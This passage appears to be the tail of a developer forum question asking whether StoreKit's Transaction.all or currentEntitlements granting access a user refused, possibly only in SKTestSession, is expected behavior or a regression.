apps relying on Transaction.all or currentEntitlements would grant access that the Apple user refused... Is the new behavior expected? Or is it a regression (and is it limited to SKTestSession) ? Thanks for your help!
Replies
0
Boosts
0
Views
68
Activity
1w